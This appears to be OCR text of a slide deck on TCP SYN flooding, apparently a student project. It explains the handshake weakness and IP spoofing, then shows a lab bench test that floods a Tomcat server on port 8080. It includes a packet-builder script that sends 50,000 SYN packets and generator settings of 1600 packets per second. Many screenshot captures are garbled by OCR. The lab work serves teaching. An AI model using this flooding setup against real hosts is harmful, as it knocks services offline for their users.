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Introduction

O Sequence Number Guessing attack

m First discovered in 1995. It creates a hole for the root
access from the remote machine and makes a trusted
system ignore any remote requests.

O TCP SYN Flooding attack

= First discovered in 1996. It is a Denial of Service
method. This attacks causes a host to retain enough
state for bogus half-open connections consuming all the
resources for establishing new legitimate connection.




TCP/IP (General)

O TCP is connection oriented and reliable
O It provides full duplex stream of data

O It is the main protocol of services on the internet
m SMTP, port 25
= Telnet, port 23
= FTP, port 21
= HTTP, port 80

concerns
come here




TCP/IP (General...cont’d)
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Figure 1: TCP Header Format [5]




TCP/IP (

Hstablishing a connection)

1. A ——--mmmmmmmmeeeee SYN--commmmm - > B
I S —— SYN/ACK--— oo B
3. A ACK-—=—mmmmmmmmm = > B




TCP/IP (Weakness of the protocol)

O Three way handshaking process leads to the SYN
flood DoS attack.
= What if the host A sends fake packet to host B?
= The host B’s reply will never go to the target.

O RFC 1122 has some good advices
Address Validation
Reject OPEN call to invalid IP address x
Reject SYN from invalid IP address X
Silently discard SYN to bcast/mcast addr x




TCP/IP (Severity of attacks)

0 SYN flood does not damage any
Information or physical devices.

O However, it has very unpleasant effect

= SYN flood can deny access to the port 80

where the http server resides in a vulnerable
machine.

= E.g. Mall service for Panix, an ISP in New York,

was shut down by a SYN flood starting on 6
September 1996.




SYN flood attack (Technical description)

O SYN stands for Synchronized flag in TCP
headers.

O The client sends a packet with SYN flag
set to open a connection targeting a port.

= No application at that port -> the server
returns a packet with RST flag set.

= An application exists at that port -> the server
acknowledges the first packet + sends its own
seguence number.
Client enters ESTABLISHED state.

Server puts the information about first packet in
connection queue.




SYN flood attack (T'echnical description... cont’d)

Client

> Sery

¢k
-

Internet Cloud

Figure 2: Handshaking sequence [10]




SYN flood attack (Technical description... cont’d)

0 The TCP stack functions as a state
machine.

m hetstat shows the states

C:\> netstat -a
Active Connections

Proto Local Address Foreign Address State
TCP uofw-319unio6k3:http uofw-319unio6k3:0 LISTENING
TCP uofw-3I9unio6k3:epmap uofw-3I9unio6k3:0 ESTABLISHED
TCP uofw-319unio6k3:2869 192.168.0.1:2078 CLOSE_WAIT
TCP uofw-319unio6k3:2003 192.168.0.4:2005 SYN_RCVD
UDP uofw-319unio6k3:1033 *o*

UDP uofw-319unio6k3:1101 *o*

UDP uofw-319unio6k3:1520 *o*

C:\>
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SYN flood attack (Technical description... cont’d)

o Half-open connection: When the SYN
packet has been received from the client,
out the client has not acknowledged the
server's SYN-ACK packet.

o Limited number of ‘half-open’ connections
are accepted by the servers.

O Attacking system can send few packets
per minute to the target port.
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SYN flood attack (Technical description... cont’d)

0O The attacker can also choose a source
address to spoof.

Internet Cloud

.

Figure 3: Spoofing IP address [10]
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Bench work (Wireless environment)

Systems configuration
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Bench work (Wireless environment.. cont’d)

Wireless network setup

Router: D-Link wireless G router (WBR-2310)
IP: 192.168.0.1

NIC card (Host A): Dell wireless 1390 WLAN Mini-Card

NIC card (Host C): Realtek RTL8185 54M Wireless PCI card

Host C: 192.168.0.104
Host A: 192.168.0.103

NIC card (Host B): Netgear 802.11g wireless PCMCIA card
Host B: 192.168.0.105

Ref: http://office.microsoft.com/en-us/clipart/default.aspx
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Bench work (Essential softwares )

we need two main tools

1. Host A: Generating TCP SYN packets installed on the host
A (attacking machine)

2. Host B: Capturing those packets installed on the host B
(target machine).

The server installed on the host B in which we will be
flooding a specific port with TCP SYN packets. Following is
the details description of those software's

16




Bench work (Essential softwares...cont’d)

Packet builder tool

* Engage Packet builder |__ || )(l
File Managers Optons Lamnguage Help

= 3 B S v [ 22 = 7

Wil NER AABILITE.COM Computer Security Resources

Le portail des professionnels de la sécurité SEc“P En In

des systémes d'information ~—
Metvaork. interface : TCF | uUDE Il ICHE |

[2: Dellwireless 1390 WLAH Mini-Card [Microsoft' ~ |

1 Set as source |F [ Set as destination |IP = 2

Specify data offzet [] I:l = 4 [bytes]

[ Ethernst ]
S pecify destination [kMAC] [ | | [ Flag= 1
[[URG | [_a~ck | |_PsH | [ BST 1 [ _s5vH 1 [ FIN_ ]

wlindowe IZ' Lrgent : IZ'

I:I [1 Specify TCP checksum

Specify source [MAC] [ | |

[IF ]
Sowrce IP: [192.168.0.103 |

Crestination 1P : | | Part - Specify TCPF options [] | |C]
[ Data ]
Specify header size [] I:l = 4 [byptes] From file [ | ":]

Twype of service : | Foutine atl |

Specify total length [] |:|
Specify identification [] I:I

Fragmentation : DF : | 0: kMay Fragment -

FMF : | O: Last Fragment -

Offzet: [0 | =8 TTL: [ Commands ]

Protocol - |l3 TCP ::| Mb of packets : |1 — Facket type : | TCP =~ SERD |
Specify checksurm [] I:I [ Scrpt ]
Specify options [ | -1 | L1 [ AuMscrIPT |

[ ““ebzerwver ]

Status : Mo script to open, yvou must select a script bo run it. I

Figure 4: Engage Packet builder v2.2.0




Bench work (Essential softwares...cont’d)

System Requirements for Engage Packet builder

= An Ethernet or Wireless Ethernet network card
m Pentium 111 of higher

= Windows 2000/XP/2003/Vista

m WinPcap 3.1 or 4.0

= 128 MB RAM

m 6 MB of free disk space.
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Bench work (Essential softwares...cont’d

Packet capturing tool

! (Untitled) - Wireshark

File Edit Vew Go Capture Analyze Statistics Help
2 | — .
B oW e e PHEH*x %8R8 ¢«=»>»>7F ¢ EE «aqQb|E®
Filter: | ¥ Expression... Clear Apply
Mo. - Time Source Destination Protocal Info o]
33 1.845364 HonHaiPr_cl:7t:72 Broadcast ARP who has 10.0.0.27 Tell 10.0.164.141
34 1.846234 Netscree 87:a7:1f Broadcast ARP who has 10.0.164.697 Tell 10.0.0.254
35 1.849488 0.0.0.0 255.255.255.255 DHCP DHCP Reguest - Transaction ID Oxddcch
36 1.854611 10.0.0.10 Pl e e DHCP DHCP ACK - Transaction ID Oxddcch
37 1.855446 HonHaiPr_cl:7f:72 Broadcast ARP who has 10.0.0.27 Tell 10.0.164.141
38 1.943393 HonHaiPr_cl:7f:72 Broadcast ARP who has 10.0.0.27 Tell 10.0.164.141
39 2.049618 GemtekTe_82:7b:38 Broadcast ARP who has 10.0.0.27 Tell 10.0.181.51
40 2.1534398 4a3a56f69.001302cc351e 00000000, FEFFFFFfffff NBIPX Find name STUDIOS<20>
41 2.254998 GemtekTe_10:28:1a Broadcast ARP who has 10.0.0.27 Tell 10.0.28.119
42 2.352937 43356769, 001302cc351e 00000000, FEFFFFfffffff IPX RIFP Request
43 2.362188 Intelcor_3d:5a:1la Broadcast ARP who has 10.0.0.27 Tell 10.0.52.88
44 2.768066 HonHaiPr_70:b0:6f Broadcast ARP who has 10.0.0.27 Tell 10.0.242.36
45 2.768872 HonHaiPr_c5:14:6d Broadcast ARP who has 10.0.0.27 Tell 10.0.150.225
46 2.769719 HonHaiPr_70:b0:6f Broadcast ARP who has 10.0.0.27 Tell 10.0.242.36
47 2.779949 IntelCor_2e:e9:38 Broadcast ARP who has 10.0.0.27 Tell 10.0.29.43
48 2.864991 Intel _37:6d:bl Broadcast ARP who has 10.0.0.27 Tell 10.0.153.221 &
' &
® Frame 1 (56 bytes on wire, 56 bytes captured)
® Ethernet II, 5Src: Apple_b9:0d:bc (00:1c:b3:b9:0d:bc), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
# Address Resolution Protocol (request)
oood ffF ff £ £F ©F £ 00 1c b3 b9 Od bc OB 06 00O 01 .. .. .... .. ......
0010 08 00 06 04 00 01 00 1c b3 b9 Od bc Oa 00 1fF 2b ........ ..., +
0020 00 00 00 00 00 00 a9 fe ff ff Ba 38 f1 14 a9 fe  ........ Sl
0030 ff ff 8a 38 00 00 00 DO [ - P
| File: "C:\DOCUME 1 \adnan|LOCALS ~1\Temp\etherXXXXa03698" 43 KB 00:00:27 " |P:'538 0: 538 M: 0 Drops: 0

Figure 5: Wireshark v0.99.6a
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Bench work (Essential softwares...cont’d)

System Requirements for Wireshark:

Windows 2000, XP Home, XP Pro, XP Tablet PC, XP
Media Center, Server 2003 or Vista

32-bit Pentium or alike (recommended: 400MHz or
greater), 64-bit processors in WoW64 emulation

128MB RAM system memory
75MB available disk space
A supported network card for capturing:

= Ethernet: any card supported by Windows should do

= WLAN: Intel pro 100/VE is one of many wireless network
cards
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Security scanner tool

o C:\WINDOWS\system32\cmd.exe

C:“\Documents and Settings“adnan’nmap -s5 192.168.0.1060

Starting Mmap 4.280 ( http://insecure.org ) at 2007-11-85 1?:26 Pacific Standard
Time
Interesting ports on 192.168.0.188:
Not shown: 1689 filtered ports
PORT STATE SERVICE
open ftp
open  ssh
open  http
open nethios-ssn
open  microsoft—ds
open  ppp
open  nessusd
p closed ms-term—serv
AC Address: B@:14:D1:3B:A9:AC {Trendware International)

BHnap finished: 1 IP address {1 host up) scanned in 23.157 seconds

C:\Documents and Settingssadnan?

Figure 6: Nmap v4.20




e Command Prompt

Network statistics tool

C-wDocuments and SettingssadnanX*netstat —a

Active Connections

Proto
TCP
TCP
TCP
TCP
uDp
unDp
unDp
unDp
unDp
unDp
unp
unp
uDp
uDp
uDp
uDp
unp
unp
unp
unp
unp
unDp

Local Address

Foreign Address State

wofw—31?uniobk3zepmap wofwu—319uniobk3i:-A LISTENHIHNG
wofw—317uniobk3 imicrozoft—ds wofu—31%uniobk3:A LISTENMING
wofw—317uniobk3 inetbhioz—s=n wofw—317uniobk3:@ LISTEMING

uwofw—317unio6k3
uwofw—317unio6k3

uwofw—317unio6k3:
uwofw—317unio6k3:1851
wofw—317unio6k3:1178
wofw—317unio6k3:1184
wofw—317unio6k3:1186
wofw—31%uniobk3 1228
wofw—31%uniobk3=1354
wofw—31%uniob6tk3 - 45688
wofw—31%7unio6k3 ntp
wofw—31%uniotk3 tnethios—
wofw—31%uniotk3 tnethios—
wofw—31%unioc6k3 1988

wofw—31%7unio6k3 ntp

wofw—31%unio6bk3 19688

wofw—31%uniobk3 14327
wofw—31%uniobk3 14743
wofw—31?uniobk3 14755

1826 wofw—317unio6k3 -8 LISTEMING
icrosoft—ds =I=
izakmp o=

I EEEEEEE]

LR ##g“## FEE R RN

ORI - NIRRT T

I EEERE:

C-sDocuments and Settingssadnanrnetstat —o

Figure 7: Netstat
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Bench work (Essential softwares...cont’d)

Server software

Installed Apache Tomcat on the host machine B (target machine).

o Apache Tomcat v5.5
o Runtime Environment (JRE) version 5.0 or later
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Bench work (Generating and sending TCP SYN packet)

Generating SYN packets

" Engage Packet builder

File Managers Optons Language Help
= E B E eP 2 = 7
WiUhdLMNERABILITE.COM

Le portail des professionnels de la sécurité
des systemes d'informoation

MHebwork interface :

[2: Dellwireless 1390 Ww/LAN Mini-Card [Microsoft' |
[ Set as destination IP

[ Set as zource IP
[ Ethemest ]

Specify destination [MAC) [ |:|
Spesity source (MAC) L1 [0 |
[ IF 1]

Source IP: [192.182.0.101 | Por:
Destination IP : [192.168.0.102 | Port:
Specify header zize [] I:l = 4 [bytes]

Tuwpe aof zervice : | Flazh e |

Specify total length [ I:l
Specify identification [] I:l

Fragrmentation : DF : | 0O: bMay Fragment S

FF : | O : Last Fragrnent S

Offset: [0 w8 TTL:

Protacol : |S : TCP :—l

Specify checksum [] I:l

Specify options [ | |E]

[ webszerver ]

CormpUuter Secdrity Resources

SECUFPEDIA

TCF | UDP II ICHF |

Specify data offzet [] I:l = 4 [bytes]

[ Flags ]
[URG | [_2ck | [_PSH ] [_BST ] FIN_ ]

afindon IZ' Lrgent : IZ'
I:l [ Specify TCP checksum

Specify TCF options [] | |E]
[ Data ]

From file [] | |E]

[ Command=s ]
MNb of packets : =

Fackettype : | TCP SEMD

[ Script ]

| ) [rowscmer )

Fart : I:l Status : |

START

Status : Mo script to open, you must select a script to run it.

Figure 8: Engage Packet builder tool with all the specifications of TCP SYN packet

24



Bench work (Generating and sending TCP SYN packet

...cont’d)

Alternative script file to generate SYN packet

%name=SYN Flood v0.2
%ocategory=Test
IPDESTINATION=192.168.0.105
PORTDESTINATION=8080
SYN=1

IECHO OFF

IDisplay=Script for SYN Flood
ISEND 50000 TCP

25



Bench work (Generating and sending TCP SYN packet. ..cont’d)

Accessing the script file

[=[0B<]

=% Engage Packet builder

File Managers Options Language Help

= BE Wl 2> =5 7

WULNER ABILITE.COM Cormputer Security Resources

Le portail des professionnels de la securité SEc“p En In
- —

des systémes d'information

MHetwork interface : TCP | UDF [ ICHP |
[2: Dellwireless 1390 WLAM Mini-Card [Microsoft' |~ |
[ Set a= zource IP [1 Set a= destination IF

[ Ethermst | Specify data offset [] I:I = 4 [bytes]
[ Flags ]

Specify destination [MAC) [ I:l [ e ] [ ACE ] [ = ] [ BST ] [ =7 ] [ FIM ]

Specity source (MAS) L 110 |
afidon IZI Lrgent : El

[IF]
Source IP: [192.168.0.101 | Porn:[s0 | [1 | O specitn TCP checksum
Destination IF : |192.168.0.102 | Par: [s080 | Specify TCP options [ | |E]
o
Specify header size [] I:I = 4 [bytes] ; Ifrtjm]file (| | |E]

Type of zervice : | Flazh e |

Specify total length [] I:l
Specify identification [] I:I

Fragmentation : DF : | 0: kMay Fragment e

MF : | 0: Last Fragment e

Offset: [0 |=x8  TTL: [64 (2 [ Commands ]
Mb of packets : [10000 = Packst ype: [TCF | SEMD

Pratocal : |E : TCF %l

Specify checksum [] I:I

Specify options [] | |E]

[ webzerver ]
Part : I:l Status : | START

Script ]
[C:85%M Flood.rsb

) [ [ RuMscriPT |

Status : Script finished.

Figure 9: Engage Packet builder with the script file loaded
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Bench work (Generating and sending TCP SYN packet. ..cont’d)

Alternative tool to generate SYN packets

] Send Packets via NETGEAR WG511 54 Mbps Wireless PC Card - O] x|

+]- Differentiated Service w | [0x00: 00 14 Dl SE A9 AC OO0 0% SE ES FO C6 0O 00 45 00
- Total length: 0x002:C | Oxl0: 00 2C &4 EB 00 00 30 06 A3 C3 CO A% 00 64 CO AS
- 1D OxE4ER (25335) Dxz0: 00 69 BS D FA 85 62 91 33 9B 00 00 00 00 &0 [ i

[+]- Flags A
.. Fragrient affset: 0:00 Ox30: 04 00 CD YF 00 00 02 04 05 B4

... Time to live: 030 (48
- Pratocols 0x06 (B - T¢
o Checksurn: 0xA3CS (=
. Source IR 192,168.0,
-... Destination IP: 192, 1¢
. IP Coptions: Mone

= TP

w.. Source por: 46550

-... Destination port: G262
- Sequence:! DxE2912329
... Bcknowledgernant: 0
... Header length: 0x06 0
[=]- Flags: S%H

= | -

Packet Generator

Packet size: ISS _%I % Continuoushy Send

Packets per second; |16IIIEI ill i |1 j Limels) | 263424 packets sent

Figure 10: CommView packet generating tool




Bench work (Capturing of TCP SYN packet)

O Step 1: Root Access

O Step 2: Setup System B’s Configuration
m CaptureSupport
= CapturePrivileges
C:\>sc config npf start= auto

O Step 3: Choosing the right Interface

O Step 4: Switching on the promiscuous mode
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Bench work (Capturing of TCP SYN packet...cont’d)

4! Wireshark: Capture Interfaces

Description IP Packets Packets/s b
8l <D Wiireless 1390 WLAN Mini-Card (Microsofts Packet SchedURry 192.163.0.1021175. 14 ( start[{ options | | Detais
i. Generic dislup adapter nknown Z Z |§13rt| |DJ:|ﬁnns | |QE13iIs

Figure 11: The “Capture Interfaces” dialog box
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Bench work (Capturing of TCP SYN packet...cont’d)

4! Wireshark: Capture Options

rCapkure

Interface: |.ﬁ.dapter far generic dialup and WPMN capture: \Device\NPF_GenericDialupAdapter |E]

IP address: unknown

Link-laver header tvpe: | Ethernet |E=uFFer size; : megabytels)  Wireless Settings
Capture packets in promiscuous mode

|:| Limit each packe

[Qapture Filter: ] | |E]

-i_apture Filels) -Display Options
File: | | [Erl:uwse. X ] Update list of packets in real time
[] use mulkiple files
Automatic scrolling in live capture
Mexk File everwy 1 megabykels) bl & d .
Mexk file every | 1 | rrinubed =) Hide capture info dialog
Ring bufFer with z files

~Mame Resolution

Stop capture after 1 filels)

Enable MAC name resalution

~Skop Capture ...

L1 ... after | 1 | packet{s) [] Enable netwark name resolution
[] ... after |1 | megabykels)

- .
F1 ... afer | ) | e Enable transport name resolution

[ Start J ’ Cancel

Figure 12: Selecting Promiscuous mode
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Bench work (Capturing of TCP SYN packet...cont’d)

! (Untitled) - Wireshark ;lilil

File Edit Miew Go Capture Analyze  Statisktics  Help
B W e B @ ox e 85 R € =2 » F 2| EEH & a a 0O W =
Eilter:l *  Expression... Clear Apply
Mo, - | Tirne I Source | Destination | Protocol | Info =
1 0.000000 Trendwar_3hb:a9:ac Eroadcast ARP who has 192.168.0.1017 Tell 192.168.0.100
2 0.000023 Metgear_es9:fo:ca Trendwar_3hb:a%9:ac ARP 192.168.0.101 s at 00:09:5b:e9:f0:c6
3 2.6864064 152,168, 0.102 152.1a5. 0,101 SMBE Echo Reguest
4 2.664l1a8 192,168, 0.101 152.1a8. 0,102 SME Echo Response
5 2 819193 152,168, 0.102 192 168 0 101 TCP 1090 = m‘lcr‘DSD‘F‘t ds I:ACK:I Seg=53 Ack 53 win=156831 Lel
TN R PR 162.165.0.100 TCP http > 52823 [ovh, Ack] Seq-0 Ack D
8 16. 793627 Trendwar_3b:a9:ac Broadcast ARP who has 192.168.0.1017 Tell 192.168.0.100
S 16, 793635 MNETgear_ 29 : fo:ch Trendwar _Shra9:ac ARP 192 168. 0. 101 s at 00:09:5kh:
11 32.448879 192.168.0.101 152.112.36.4 TR 1560 > domain LSYN] Seq-0 Len-0 M55-1460
12 32.563744 00:lc:f0:43:88:ae Broadcast ARP who has 192.168.0.1017 Tell 192.168.0.1
13 32.563761 Metgear_es9:f0:ch O0:lc:f0:43:88:ae ARP 192.168.0.101 s at 00:09:5b:e9:f0:c6
|14 so.565251 dos des.o.dl Ao des. o0 10l ICMP __ Destination unreachable (Metwork unreachables |
L | | |
Cestination port: http (S0 :J
Seguence number: O Crelative sequence number)
Header Tength: 24 bytes
P Congestion window Reduced (CwR): Mot set
se.. = ECH-Echo: Mot set
.... = Urgent: MoOT set
e = Acknowledgment: Mot set
O.. = Push: Mot set
.0.. = Reset: MOL set
-..1l. = Syn: Set
iere 2.0 = Fin: MOt set
window size: 2048
e n ] ENPTNPY PR Pa Ty o B N F - —eman - — -+ 71 ;I
(eIeIsT4] 00 0% S5h &% T0 <6 00 14 dl 3b a% ac 08 00 45 00 e Lee -
D010 00 2¢ 2b Fc 00 00 2d 086 20 346 c0 a8 00 &84 <0 as e I
D020 00 65 ce bb 00 50 Shb 8d d4e e5 00 00 00 OO0 &0 [F .e...P[.
O30 08 00 94 Se 00 00 02 04 o5 b4 L. .-
Flags kcp.flags), 1 byte |F': 14 D: 14 M: O Drops: 0 o
hstare||| 1] @ <9 0 >|| By | @us... | Elop.. | user | Hsv.. | Gt | ess...| BPen... | Eleor.. | @0~ (S ¢ DS RE 05

Figure 13: Wireshark with a TCP packet selected for viewing with SYN flag s%;t



O Testing on Apache Tomcat server with port 8080

Starting the Apache Tomcat server

¢ Command Prompt

D:“InstalledServers“Tomcat“apache—tomcat-5.5.15“hinX*startup

Uzing CATALIMA_BASE: D:xInstalledfServerss“JTomcat~apache—tomcat-5.5.15

Uz ing CATALIMA_HOME: D:~InstalledServerssTomcat~apache—tomcat-5.5.15
Uzing CATALIMA_THMPDIR: D:~InztalledServerssTomcat apache—tomcat-5.5.15%“temp
Uzing JRE_HOME: C:sProgram Files“Java~jdkl.5.8_@5
D:~InstalledServers~Tomcats~apache—tomcat—5.5.15hin>_

Figure 14: command to startup the Tomcat server on host B
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- 207 2:80@0:55 PHM org.apache.catalina.core.AprLifecyclelListener lifecycleEuI’

The Apache Tomcat Mative library which allows optimal performance in produ
ction environments was not found on the java.library.path: C:Program Filesz“Java
~Jjdkl .5.8_BA5~bin;: . ;C:~WINDOWS~system32 ; Co~WINDOWS ; T~ UWINDOWS~system32 ; C~WINDOWS
sCasWINDOWSSssystem3 2~ WBEM: C:~Program File=“~ATI Technologies“~ATI .ACE~:C:“~Program
Files~Java~jdkl.5.@_85%-bhin;D:~Installedfervers~Tomncat~apache—tomcat—-5.5%.15%-bhin;C
sw»Program Files“MHmap

2007 2:8A:56 PM org.apache .coyvote._httpll _HttpliBaseProtocol init

Initiali=ing Coyote HTITP-1.1 on http—868A

2087 ?7:80:56 PM org.apache .catalina.startup.Catalina load
Initialization processed in 2578 m=
2087 ?2:88:56 PM org.apache _.catalina.core._ StandardfService start
IMFO: Starting service Catalina
Mouv 5, 20807 2:80:56 PH org.apache_.catalina.core.StandardEngine start
IMFO: Starting Servlet Engine: Apache Tomcats5.5.15
Mov 5, 2887 7:880:56 PH org.apache.catalina.core.StandardHoszt start
IMFO: XML validation di=zabled
- Unable to find config file. Creating new servlet engine config File: AUWEB-IHF
ll-zerver—conf ig.wsdd
— Unahbhle to find regquired classes (Jjavax.activation.DataHandler and Jjavax.mail.i
nternet .MimeMultipart». Attachment =upport iz disabled.
Mov 5. 20607 2:80:52 PHM org.apache .catalina.loader_WebappClassLoader validateJarF
ile
IMFO: validateJarFile<D:~InstalledServers~Tomcat~apache—tomcat—-5.5_15wehapps~Wi
ndzorBookStore~WEB—INF-~1lib“serulet—2_2_jar>» — jar not loaded. See Servlet Spec 2
-3, section 7.7.2. Offending class: Jjavaxsservlet-sServlet.class
Mou 5, 2087 7:80:59 PH org.apache . .coyvote._ httpll _HttpliBaseProtocol start
IMFO: Starting Coyote HTITP-1.1 on http—8@8HA
28087 ?7:88:57 PM org.apache.jk.common.ChannelS%ocket init
JK: ajpld listening on ~B.0.0_.A:880807
2007 ?:8A:57 PM org.apache.jk.server.JkMain =start
Jk running ID=8 time=08.-47 config=null
2087 7:81:880 PM org.apache .catalina.storeconfig.StoreLloader load
Find regiztry server—registry.xml at classpath resource
20807 2:81:-88 PM org.apache .catalina.startup.Catalina start
INFO: Server startup in 37?7 ms

Figure 15: Tomcat running up at port 8080 on host B
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Bench work (Testing the attack...cont’d)

43 Apache Tomcat/4.1.36-LE-jdk14 - Microsoft Internet Explorer

J File Edit Wiew Fawvorites Tools  Help

| Back ~ = - D 7al | @ search GalFavorites cH#History | By S M0 4

J Address @ hkbp: /192, 165.0, 100: 5080 index. jsp

LI @GD

&

Administration

Tomcat Administration
Tomcat Manader

Documentation

Tomcat Documentation

Tomecat Onfine

Home Fage
Eug Database

Users Mailing List
Developers Mailing List
IRC

Examples

JSP Examples

Serviet Examples
WebDAY capabilities

Apache Tomcatid.1.36-LE-jdk14

"< Apache Software Foundati

= http://www.apache.org/

If you're seeing this page via a web browser, it means you've setup Tomcat successfully.
Congratulations!

As you may have guessed by now, this is the default Tomcat home page. It can be found on the local
filesystem at:

SCATALINA HOME/webapps/ROOT/index. j=p

where "$CATALINA HOME" is the root of the Tomcat installation directary. If you're seeing this page, ¢
wiou don't think you should be, then either you're either a user who has amrived at new installation of Tom
or you're an administrator who hasn't got hisfher setup quite right. Providing the latter is the case, pleas
refer to the Tomcat Documentation for more detailed setup and administration information than is foune
the INSTALL file.

MOTE: For security reasons, using the administration webapp is restricted to users with role
"admin". The manager webapp is restricted to users with role "manager". Users are defined in
SCATALINA HOME/conf/tomcat-ussrs. zml.

Included with this release are a host of sample Servlets and JSPs (with associated source code),
extensive documentation {including the Servet 2.2 and JSP 1.2 API JavaDoc), and an introductony guic
developing web applications.

Tomcat mailing lists are available at the Apache Tomcat project web site:

« users@ptomcat.apache.org for general guestions related to configuring and using Tomcat
« dev@tomcat.apache.org for developers working on Tomcat
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O Scanning the port 8080 of host B from host A using nmap
Command for scanning the port
C:\nmap>nmap —sS 192. 168 O 100 —p T:8080

[ Select C:WINNT' system32icmd.exe

C:snmaprnmap —s5 172.168.0.1880 —p T:8080

Starting Mmap 4.28 ¢ http:/ insecure.org > at Z20AY-11-85% 21:26 Eastern Standard
Time

Interesting ports on 192.168.8.108:

FORT STATE SERVICE

808Atcp open http—proxy
MAC Address: BA:14:D1:3B:A9:AC <Trendware Internationall
Mmap finizhed: 1 TP address’ {1 host up? zcanned in B.281 seconds

Cisnmap_

Figure 15: Host B is up at port 8080
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O Checking the status of port 8080 using netstat

C:\>netstat —o
«. Command Prompt ﬂﬂ

L

Y
=
]

36
Figure 16: SYN_RECIEVED status of port 8080



O Checking the port status again after the attack on port
8080 using nmap

C:\nmap>nmap —sS 192.168.0.100 —p T:8080

C:HWINNT system 32 cond.exe

Time

Interesting portsz on 192.168.0.108:

PORT STATE SERVICE

8080 tcp open http—proxy

MAC Address: BA:14:D1:3B:A?:AC (Trendware International?

Mmap finished: 1 IP address ¢1 host up? scanned in B.281 seconds
C:wnmapXnmap —=5 192_168.8.188 —p T:8@8A
Starting Hmap 4.28 { http://insecure.ory > at 2087-11-85 21:36 Eastern Standard

Time
Mote: Host seems down. If it is really wup,. but blocking our ping probes,. try —-PA

Mmap finizhed: 1 IP address (B hosts up? scanned in B.451 seconds
Cosnmaprnmap —s5 192.168.8.1880 —p T:8080

Starting Hmap 4.28 ( http: - insecure.org 2> at 2007-11-85 21:36 Eastern Standard
T ime

Mote: Host seems down. If it is really wp,. but bhlocking our ping probes. try —PA
Mmap finished: 1 IP address (B hosts wup? scanned in B.478 seconds

Iz snmap»*

Figure 17: Host B is down at port 8080



Bench work (Testing the attack...cont’d)

O Accessing the port 8080 using internet Explorer from attacking

machine A

3 http://192.168.0.100:8080,/index.jsp - Microsoft Internet Explorer

J Fil=  Edit  Wiew Favorites  Tools  Help

J d=Back - = - 2D N | | tQhsearch (G Favaorites  CHistory ||%v =N £

| Address |@ hitp: /{192, 168.0, 100:8080/index. jsp

Microsoft Internet Explorer

Q Internet Explorer cannot open the Internet site http:i /192, 165.0, 1008080/ index. jsp.

& connection with the server could not be established
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Figure 18: IE with no connection to 8080




Our Observations

O Other effects of TCP SYN flooding on target machine B
0 Before SYN flooding, CPU usage view using another tool CommView

= CommView - Evaluation Version

. File Search Wiew Tools Settings Rules Help
£ = it (3 & o = =L 3 maz| [ e f7E-
I N YT YA
%@ Latest [P Connections | 0y Packets ( Lagaging || A Rules { e alarms |
Local IP Remote IP In ok Direction Ses... Ports =  H. B
192,165.0,105 1374144 341079 : i Iné d 5,1, <
?192,168.0.105 192,168.0.1 1233 1137 Ok 214 43152, 2048, 2061, damain 51
7 192,165.0,100 F192,1658.0.1 g2 79 Pass a 2157, domain,2159,2160,2161,216... 1:
7 192.1658.0,104 7 192.168.0.1 % 5 Paszs u] 49663, domain, bootpe, bookps, 4966, 1
7 FedS0::bcoeFi2333:09. .. 7 FFOZ::0001:0003 a 2 Pas=s a 49665,5355
T192,1658.0.104 ¥ 224.0.0,252 a 2 Pas= a 49666,53555
7192,1658.0.104 F192,168.0.255 a 34 Pass a netbios-ns 3
?192.168.0,100 =5 195,52.64.12 u} 3 Pass u} zz16,domain
?o192,1658.0.100 ® 202.12.27.33 a 1 Pas=s a 2216, damain
7 192,168.0.100 7 192,1658.0.255 a 3 Pass a nethios-ns
7 O192,168.0,100 &5 128.9.0,107 u} 4 Pass u} zz22,domain, 2225
?o192,168.0,100 = 192.56.145.17 u} =} Pass u} zzzz,domain, 2225
?192,168.0.105 192,168.0.104 7 15 In a 1
7 192,1658.0,105 F239,255,255.250 a 32 ok a 1900 =1
T O192,168.0,100 &5 192,203.230.10 u} 7 Pass u} zz24,domain, 2229
?o192,1658.0.100 Bl 165.95.192.1 a 3 Pas=s a 2224, domain
T192,1658.0,105 0=l 137.207.140.151 a 3 ok a 2967
7 19Z.165.0,105 7 192.168.0,255 u] 5 gk u] netbios-ns, netbios-dgm
?192.168.0,100 =5 178.63.2.53 u} 7 Pass u} zzz26,domain, 2229
?o192,1658.0.100 &S 195.41.0.4 a 2 Pas=s a zeza,domain
Capture: On Plte: 151FEES in / 4FEEEY out / 7217 pazs Lto-zaving: OFf Fules: OFff Alarme: OFF [\\gfé CFU Usagf/’

Figure 19: Less CPU usage by the target host B




Our Observations...cont’d

O To do this we have used another tool CommView to generate the packets.
- O] x|

. Differentiated Setvice w | |0x00: 00 14 DL 2B 49 AC 00 02 EB E2 FO C& 02 00 45 00 .. HEn. [&B3E..E.
... Tatal length: 0x002:C |

0xl0: OO0 2C 64 EB 00 00 30 06 A% C3 CO AS 00 &4 CO As _,d&. .0 £ih" 4k
""'I:?":'IE"‘EE":253353 Dxz0: 00 69 BS DS F8 85 62 91 33 9B 00 o0 00 o0 &0 [FEf .ipfs.bca. . ]
- Flags Ox30: 04 00 C 7F 00 00 OZ 04 05 B4 U (= P -

... Fragrnent affset: 0x00
... Time to live: 030 (48
- Pratocols 0x06 (B - T¢
o Checksur: DxaZCE
. Source IR 192,168.0,
-... Destination IP: 192, 1¢
-~ IP Ciprions: Mone

w.. Source por: 46550

-... Destination port: G262
- Sequence:! DxE2912329
... Bcknowledgernant: 0
... Header length: 0x06 0
[=]- Flags: S%H

fLURG: O

Ak 0

.PSH: 0

-RET: 0

= | -
Packet Generator

Packet size: ISS _%I % Continuoushy Send

Packets per second; |16IIIEI ill i |1 ill Limels) | 263424 packets sent

Figure 20: Generating TCP SYN packets at the rate 1600 packets per second




Our Observations...cont’d

O After SYN flooding, CPU usage view using the tool CommView

CommV¥Yiew - Evaluation Version

: File Search Wiew Tools Settings Rules Help

E = gl . - | g A e | [mae| (el L

LIEr N SCY T X iE1p:

B Latest IP Connections |% Packets " T " @ Rules | B plarms |

Local IP Remoke IF In ok Direckion Ses,.. FParks = | H. B

Y \ 0191 316401 EE417 ,2013,817, 265,

7 192.168.0,105 7 o192,1658.0.1 873 ok 49152, 2048, 2061, domain o1
7 192.168.0,100 &S 128.58.10.90 a =] Pass o 2192,domain, 2214
7 192.1658.0,100 7 192,165.0.1 [=1=] =] Pass u] 2157,domain,2159,2160,2161,2146.., 1
7 o192.1658.1.101 &S 207, 46,211,250 15 19 Pass 1 1150,htktp 2
?  Fed0::boaF2333:09... 7 FFOZ::0001:FF42:5dae u] 3 Pass u]
7 192,165.0,104 7 192,168.0.1 4 5 Pass u] 495663, domain, bootpc, bookps, 4966, .. 1
